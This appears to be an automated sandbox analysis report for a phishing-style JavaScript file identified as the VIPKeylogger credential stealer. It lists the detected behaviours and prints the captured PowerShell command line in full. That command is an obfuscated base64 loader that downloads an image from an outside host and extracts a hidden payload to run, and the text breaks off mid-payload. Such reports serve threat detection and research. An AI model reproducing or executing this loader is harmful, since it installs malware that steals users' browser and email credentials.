Analysis Overview
SHA256
7db5b864d7dc11b7523b182bafd5c9526343bfd9d2443fb0700588754c4cd551
Threat Level: Known bad
The file RFQ-MR-24-09101 SPS.js was found to be: Known bad.
Malicious Activity Summary
VIPKeylogger
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Looks up external IP address via web service
Adds Run key to start application
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Enumerates physical storage devices
Command and Scripting Interpreter: JavaScript
System Location Discovery: System Language Discovery
Browser Information Discovery
outlook_office_path
outlook_win_path
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-29 05:55
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-29 05:55
Reported
2024-08-29 05:57
Platform
win7-20240704-en
Max time kernel
11s
Max time network
16s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2240 wrote to memory of 2716 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2240 wrote to memory of 2716 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2240 wrote to memory of 2716 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2716 wrote to memory of 2772 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2716 wrote to memory of 2772 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2716 wrote to memory of 2772 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ-MR-24-09101 SPS.js"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄YQBn⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄VQBy⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄JwBo⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bw⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄Og⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄aQBh⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄M⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄M⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄dQBz⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄YQBy⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄HY⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄cgBn⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄MQ⼞ ⋄ ⍃ ⨞ ❄w⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄aQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bQBz⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bo⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄bwB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Xw⼞ ⋄ ⍃ ⨞ ❄y⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Mg⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Nw⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQBh⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄Bu⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄agBw⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄dwBl⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄QwBs⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄ZQBu⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄TgBl⼞ ⋄ ⍃ ⨞ ❄Hc⼞ ⋄ ⍃ ⨞ ❄LQBP⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄agBl⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄TgBl⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄LgBX⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄YgBD⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄aQBl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄aQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄ZwBl⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄eQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄cw⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Hc⼞ ⋄ ⍃ ⨞ ❄ZQBi⼞ ⋄ ⍃ ⨞ ❄EM⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgB0⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄R⼞ ⋄ ⍃ ⨞ ❄Bv⼞ ⋄ ⍃ ⨞ ❄Hc⼞ ⋄ ⍃ ⨞ ❄bgBs⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄EQ⼞ ⋄ ⍃ ⨞ ❄YQB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄K⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bQBh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQBV⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄YQBn⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄V⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄V⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄EU⼞ ⋄ ⍃ ⨞ ❄bgBj⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄ZwBd⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄OgBV⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄Rg⼞ ⋄ ⍃ ⨞ ❄4⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄RwBl⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄UwB0⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄aQBu⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄K⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bQBh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQBC⼞ ⋄ ⍃ ⨞ ❄Hk⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄KQ⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄8⼞ ⋄ ⍃ ⨞ ❄Dw⼞ ⋄ ⍃ ⨞ ❄QgBB⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄RQ⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄XwBT⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄QQBS⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄Pg⼞ ⋄ ⍃ ⨞ ❄+⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄8⼞ ⋄ ⍃ ⨞ ❄Dw⼞ ⋄ ⍃ ⨞ ❄QgBB⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄RQ⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄XwBF⼞ ⋄ ⍃ ⨞ ❄E4⼞ ⋄ ⍃ ⨞ ❄R⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄+⼞ ⋄ ⍃ ⨞ ❄D4⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bQBh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQBU⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄B0⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄E8⼞ ⋄ ⍃ ⨞ ❄Zg⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄KQ⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄ZQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄aQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄ZwBl⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄LgBJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄TwBm⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄BG⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄YQBn⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄BJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄BJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄Cs⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄LgBM⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgBn⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄YgBh⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄T⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄ZwB0⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄BJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄YQBy⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bi⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cwBl⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄BD⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄aQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄ZwBl⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄LgBT⼞ ⋄ ⍃ ⨞ ❄HU⼞ ⋄ ⍃ ⨞ ❄YgBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄cgBp⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Zw⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bi⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cwBl⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄BM⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgBn⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bj⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄eQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄cw⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄QwBv⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄dgBl⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bd⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄OgBG⼞ ⋄ ⍃ 